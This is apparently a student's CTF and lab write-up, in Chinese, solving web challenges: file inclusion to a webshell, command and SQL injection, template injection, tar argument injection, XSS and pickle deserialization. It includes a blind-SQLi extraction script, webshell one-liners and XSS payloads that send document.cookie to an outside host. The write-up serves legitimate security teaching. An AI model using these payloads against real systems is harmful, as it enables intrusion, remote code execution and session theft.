---
# System prepended metadata

title: web

---

# web

## [LAB] Hello from Windows 



```php=
<?php
  session_start();
  if(isset($_GET['source'])){
    highlight_file('./'.$_GET['source'].'.php');
    die();
  }
  if(isset($_GET['name']) && $_GET['name']!=''){
    $_SESSION['name'] = $_GET['name'];
    header("Location: /?page=hi.php");
    die();
  }
  if(!isset($_GET['page'])){
    header("Location: /?page=say.php");
    die();
  }
?>
<!DOCTYPE html>
<html>
<head>
  <title>Hello from Windows 98</title>
  <meta charset="UTF-8" />
  <link rel="stylesheet" href="https://unpkg.com/98.css" />
</head>
<style>
    body{
        background: url('blue.png');
        background-size: cover;
        display: flex;
        align-items: center;
        justify-content: center;
        height: 100vh;
        margin: 0;
    }
</style>
</style>
<body>
  <div class="window" style="margin: 32px; width: 500px">
    <div class="title-bar">
      <div class="title-bar-text">
        Hello World..
      </div>
      <div class="title-bar-controls">
        <button aria-label="Minimize"></button>
        <button aria-label="Maximize"></button>
        <button aria-label="Close"></button>
      </div>
    </div>
    <div class="window-body">
      <?php include($_GET['page']);?>
    </div>
  </div>
</body>
</html>
```

49行 網頁會 include page參數的值


![](https://i.imgur.com/yCWmAyC.png)

打開網頁可以看到有個視窗可以輸入名稱

![](https://i.imgur.com/uztJF7K.png)

按f12看 requests header把 cookie裡的 PHPSESSID 傳給 server，該檔案存在/tmp/sess_{PHPSESSID}，因此把 name  構造成 <?php eval($_GET['code']); ?>，再把page 參數修改成/tmp/sess_{PHPSESSID}，網頁會 include name裡的 webshell，因此能執行任意程式

![](https://i.imgur.com/Sr8I1DG.png)


![](https://i.imgur.com/V9iMOha.png)


![](https://i.imgur.com/Juj7jGL.png)


在/var/www/html/flag.txt找到flag

## [LAB] Whois Tool	


```php=
<?php
if(isset($_GET["host"])){
  $host = $_GET["host"];
  if(strlen($host) > 15)
    echo "Host name tooooooo logn!!";
  else
    echo `whois "{$host}" 2>&1;`;
}
?>
```

![](https://i.imgur.com/OdGTe5p.png)


一個欄位輸入host，server 執行 whois "{$host}" 2>&1;

![](https://i.imgur.com/XmreDPP.png)


輸入\";ls;\"
sever執行的code 變成 whois "";ls;"" 2>&1;;
得知flag在當前路徑底下

![](https://i.imgur.com/Sj5A1PC.png)



## [LAB] Normal Login Panel 


![](https://i.imgur.com/68Yj2sn.png)

![](https://i.imgur.com/CtGXfAj.png)

題目為一登入介面，輸入admin' 網站會壞掉，由此可知此處有sql injection





![](https://i.imgur.com/kJ2dwgI.png)

用union 猜column 個數，猜到第4欄的時候網站才不會崩潰，因此關鍵應該在這第四欄

![](https://i.imgur.com/3RSfaRe.png)

背後的 database 是 sqlLite

![](https://i.imgur.com/wwq1WWs.png)

輸入 admin' union select 1,1,1,sql FROM sqlite_master WHERE type='table' -- 

看到有一張表結構為
id , username , password , count  

![](https://i.imgur.com/iGK3VQk.png)

輸入 admin' union select 1,1,1,password FROM users --
撈出 password


## [LAB] Normal Login Panel  2


![](https://i.imgur.com/f27af1u.png)

透過上一題的password，登入 admin, 網頁回傳一段python code，如果登入成功且有greet參數，則回傳 Hello {greet}，沒有greet參數回傳網頁source code

![](https://i.imgur.com/MbXe2mZ.png)

用burp suite構造 post，利用 greet 執行 popen('cat *').read()

post 
username=admin
&password=FLAG{Un10N_s31eCt/**/F14g_fR0m_s3cr3t}
&greet={{().\_\_class\_\_.\_\_base\_\_.\_\_subclasses\_\_()[140].\_\_init\_\_.\_\_globals\_\_['popen']('cat *').read()}}


## [HW] PasteWeb (Flag 1)


![](https://i.imgur.com/7STBbT7.png)

利用 OR 5::int=5 得知database用的是 postgresql

dump table:
    
    a' ;select case when substring(array_to_string(ARRAY(SELECT table_name from information_schema.tables),','),1,{len(datame)+1})='{datame}{i}' then pg_sleep(5) else pg_sleep(0) end ; --

    table : s3cr3t_t4b1e

dump column:
    
    a' ;select case when substring(array_to_string(ARRAY(SELECT column_name FROM information_schema.columns WHERE table_name='s3cr3t_t4b1e'),','),1,{len(datame)+1})='{datame}{i}' then pg_sleep(5) else pg_sleep(0) end ; --


    column : fl4g

dump fl4g from secrte_table:
    
    a' ;select case when substring(array_to_string(ARRAY(SELECT fl4g FROM s3cr3t_t4b1e),','),1,{len(datame)+1})='{datame}{i}' then pg_sleep(5) else pg_sleep(0) end ; --


```python
import requests
import time

cookies = {
    'PHPSESSID': 'iofjasiodfjadfsdfsadasdsdsasd',
}

headers = {
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
    'Accept-Language': 'zh-TW,zh;q=0.8',
    'Cache-Control': 'max-age=0',
    'Connection': 'keep-alive',
    # 'Cookie': 'PHPSESSID=mhjvpduepqit69ifl7ckv2vgim',
    'Origin': 'https://pasteweb.ctf.zoolab.org',
    'Referer': 'https://pasteweb.ctf.zoolab.org/',
    'Sec-Fetch-Dest': 'document',
    'Sec-Fetch-Mode': 'navigate',
    'Sec-Fetch-Site': 'same-origin',
    'Sec-Fetch-User': '?1',
    'Sec-GPC': '1',
    'Upgrade-Insecure-Requests': '1',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not?A_Brand";v="8", "Chromium";v="108", "Brave";v="108"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
}

data = {
    'username': 'sadf',
    'password': '',
    'current_time': '1670860674',
}


datame = ''
ascii = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_!"#$%&\'()*+,-./:;<=>?@[\\]^`{|}~ \t\n\r\x0b\x0c'
for index in range(len(datame)+1,500):
    for i in ascii:
        start = time.time()
        payload = f"""
a' ;select case when substring(array_to_string(ARRAY(SELECT CURRENT_USER ),','),1,{len(datame)+1})='{datame}{i}' then pg_sleep(5) else pg_sleep(0) end ; --
        """.strip()
        data['username'] = payload
        data['current_time'] = int(start)
        print(payload)
        response = requests.post('https://pasteweb.ctf.zoolab.org/', cookies=cookies, headers=headers, data=data)
        print(response.text.split('\n')[-5], time.time()-start, datame, i)
        if time.time()-start >= 5:
            datame += i
            print(datame)
            break
    else:
        print(index, i)
        raise Exception

```

flag:

![](https://i.imgur.com/XG7enq9.png)



## [HW] PasteWeb (Flag 2)


    insert into pasteweb_accounts (user_id, user_account, user_password) values (10, 'user', md5('user'));

![](https://i.imgur.com/UVgfLRC.png)

透過前面的sql injection 新增帳號，登入後可以看到網頁的功能，其中edit css因為支援lesscss，因此有個任意讀的漏洞

``` css
.test {  content: data-uri("/etc/passwd");}
```

構造css

![](https://i.imgur.com/XmalIvv.png)

進入View，可以看到/etc/passwd 以 base64的格式回傳

且因為在 /var/www/html/.git/ 裡面的檔案都能正常讀取，可以利用[gitdump工具](https://github.com/denny0223/scrabble) 將source code還原

```python!
from flask import Flask
from markupsafe import escape
import requests
from flask import Response
import base64
app = Flask(__name__)
cookies = {
    'PHPSESSID': '3uq2l8fuf0n1b6l8ou1devk0ej',
}

headers = {
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
    'Accept-Language': 'zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-Hans;q=0.6,und;q=0.5',
    'Cache-Control': 'max-age=0',
    'Connection': 'keep-alive',
    # 'Cookie': 'PHPSESSID=lpcfdspcffuf5sdj3mgi0pvjq0',
    'Origin': 'https://pasteweb.ctf.zoolab.org',
    'Referer': 'https://pasteweb.ctf.zoolab.org/editcss.php',
    'Sec-Fetch-Dest': 'document',
    'Sec-Fetch-Mode': 'navigate',
    'Sec-Fetch-Site': 'same-origin',
    'Sec-Fetch-User': '?1',
    'Sec-GPC': '1',
    'Upgrade-Insecure-Requests': '1',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not?A_Brand";v="8", "Chromium";v="108", "Brave";v="108"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
}



@app.route('/.git/<path:subpath>')
def show_subpath(subpath):
    # show the subpath after /path/
    path = '/var/www/html/.git/' + subpath
    print(path)

    data = {
        'less': ".test {\r\n  content: data-uri('" + path +  "');\r\n}\r\n\r\n",
    }

    response = requests.post('https://pasteweb.ctf.zoolab.org/editcss.php', cookies=cookies, headers=headers, data=data)
    # print(response.status_code)
    response = requests.post('https://pasteweb.ctf.zoolab.org/view.php', cookies=cookies, headers=headers)
    data = response.text.splitlines()[7].split('"')[1]

    if "base64" in data:
        data = data[data.find('base64,'):].replace('base64,', '')
        data = base64.b64decode(data)
        # data.replace(b'/var/www/html', b'')
        with open(path.replace('/', '_'), 'wb') as f:
            f.write(data)
        print(data[:10])
        return Response(data, mimetype='application/octet-stream')
    return Response(status=404)
if __name__ == "__main__":
    app.run(debug=True)
```

用 flask 在port 80架一個server，當gitdumper GET http://127.0.0.1/.git/HEAD 時，server將data-uri的路徑改成/var/www/html/.git/HEAD，從目標網站讀檔再回傳，藉此模擬直接GET https://pasteweb.ctf.zoolab.org/.git/HEAD 的效果

![](https://i.imgur.com/QeoG5Qk.png)

![](https://i.imgur.com/6LfaqhI.png)

dump完得到source code，在index.php得到flag

 
## [HW] PasteWeb (Flag 3)

```php=
<?php
  session_start();
  if(!isset($_SESSION['name'])){
    header("Location: /");
    die();
  }
  // When you see this line, you probably don't need to read 'lessc.inc.php', the intended sollution of flag 3 have nothing to do with it
  require "lessc.inc.php";
  $less = new lessc;

	$sandbox = './sandbox/'.md5($_SESSION['name']).'/';
	if (!file_exists($sandbox)){
		mkdir($sandbox);
	}
	chdir($sandbox);

  if($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_POST['less'])){
		file_put_contents('input.less', $_POST['less']);
		$theme = isset($_POST['theme'])? str_replace('/', '', $_POST['theme']): 'default';
		$less->compileFile('input.less', $theme.'.css');;

		$_SESSION['message'] = "CSS updated successfully!";
  }
?>
```
在 editcss.php 中發現edit css時可以帶一個 theme 的參數，web 會把compile 後的css 存成 $theme.'.css'，因此可以儲存任意名稱結尾為.css的檔案

```php=
<?php
  session_start();
  if(!isset($_SESSION['name'])){
    header("Location: /");
    die();
  }

	$sandbox = './sandbox/'.md5($_SESSION['name']).'/';
	if (!file_exists($sandbox)){
		mkdir($sandbox);
	}
	chdir($sandbox);

  header("Content-Disposition: attachment; filename=download.tar");
  shell_exec("tar -cvf download.tar *");
  readfile("download.tar");
  shell_exec("rm download.tar");
  die();
?>

```

第十五行shell_exec("tar -cvf download.tar *");，這邊的\*會將所有當前路徑的檔案名稱當作參數

將 theme 構造成

    -I "bash";echo '<?php system($_GET[1]); ?>'>aaaa.php; default

tar -cvf download.tar * 的行為會變成

    tar -cvf download.tar -I "bash";echo '<?php system($_GET[1]); ?>'>aaaa.php; default.css default.css input.css index.html
    
執行download後在 sandbox/md5(user)/aaaa.php 獲得一個webshell


![](https://i.imgur.com/lrb7BWK.png)

## [LAB] Particles.js


![](https://i.imgur.com/06yX941.png)


![](https://i.imgur.com/6CCxZeQ.png)

網頁有個選單切換 config ，按 change 會重新GET 當前網站並帶上 config 的 parameter


![](https://i.imgur.com/6vJeSs0.png)

![](https://i.imgur.com/JRIKMAc.png)

report 會把 url POST 回去


![](https://i.imgur.com/1SZH2qk.png)

![](https://i.imgur.com/ZPFNpZA.png)

把config設為 aaaaaaaa，可以發現 \<script\> 底下有兩個變數隨著config改變


![](https://i.imgur.com/xgVuVCg.png)

把 config 構造為

    5;fetch("https://asiagodtone.free.beeceptor.com?flag="%2bdocument.cookie);({1://\

admin回傳 flag:


![](https://i.imgur.com/yIrogIz.png)


## [LAB] Simple Note [20]

![](https://i.imgur.com/3CW1XCQ.png)

題目是一個 note 可以放 title 和 content

![](https://i.imgur.com/a0Pe9TV.png)

提交後得到一個網頁和 report的按鈕


![](https://i.imgur.com/wmco2VV.png)

report 後會把 url 傳給 server, 因為server 會 access這個url，所以有 XSS 漏洞

![](https://i.imgur.com/0V4Wtxh.png)

因為 title 是 innerhtml 所以可以放 script 進去
    
    <img src=x onerror=alert(1)>

因為 title 有長度限制， 所以先控制 window.name 再 eval

    <img src=x onerror=eval(window.name)>
    


![](https://i.imgur.com/ijzcc70.png)

把 POST /report 的 payload 改成自己的網頁


![](https://i.imgur.com/9u8qpVx.png)

網頁的邏輯
    
    window.name = "fetch('https://aaaaaaaaa.free.beeceptor.com?
    window.namewhoami=aaaaaaaaa'+document.cookie)"
    
    location = "https://note.ctf.zoolab.org/note/11578879a8be371969906666"

設置 windows.name，進入 note後會 eval(window.name) 

然後location 設定成剛剛的note，跳轉過去後就會 eval(window.name)，就能得到server的cookie了


![](https://i.imgur.com/IQ24w65.png)



## [LAB] Pickle

```py=
from flask import Flask, request, make_response, redirect, send_file
import base64
import pickle

app = Flask(__name__)


@app.route("/sauce")
def sauce():
    return send_file(__file__, mimetype="text/plain")


@app.route("/")
def main():
    session = request.cookies.get("session")
    if session == None:
        return '<form action="/login" method="POST">' +\
            '<p>Name: <input name="name" type="text"></p>' +\
            '<p>Age: <input name="age" type="number"></p>' +\
            '<button>Submit</button></form><hr><a href="/sauce">Source code</a>'

    else:
        user = pickle.loads(base64.b64decode(session))
        return f'<p>Name: {user["name"]}</p><p>Age: {user["age"]}</p>'


@app.route("/login", methods=['POST'])
def login():
    user = base64.b64encode(pickle.dumps({
        "name": request.form.get('name'),
        "age": int(request.form.get('age'))
    }))
    resp = make_response(redirect('/'))
    resp.set_cookie("session", user)
    return resp
```

從 source code 得知web會把 cookie中的session反序列化

```python=
import pickle
import subprocess
import base64
class Exploit(object):
    def __reduce__(self):
        return (subprocess.check_output, ('ls',), )
session = pickle.dumps({"name":Exploit(), "age":1})
session = base64.b64encode(session)

user = pickle.loads(base64.b64decode(session))

print(bytes.hex(session))
print((session))
print(user)
```

將cookie構造成

        gASVOwAAAAAAAAB9lCiMBG5hbWWUjApzdWJwcm9jZXNzlIwMY2hlY2tfb3V0cHV0lJOUjAJsc5SFlFKUjANhZ2WUSwF1Lg==
        
![](https://i.imgur.com/5cuUoQk.png)

flag:
    
![](https://i.imgur.com/q1rUBTs.png)

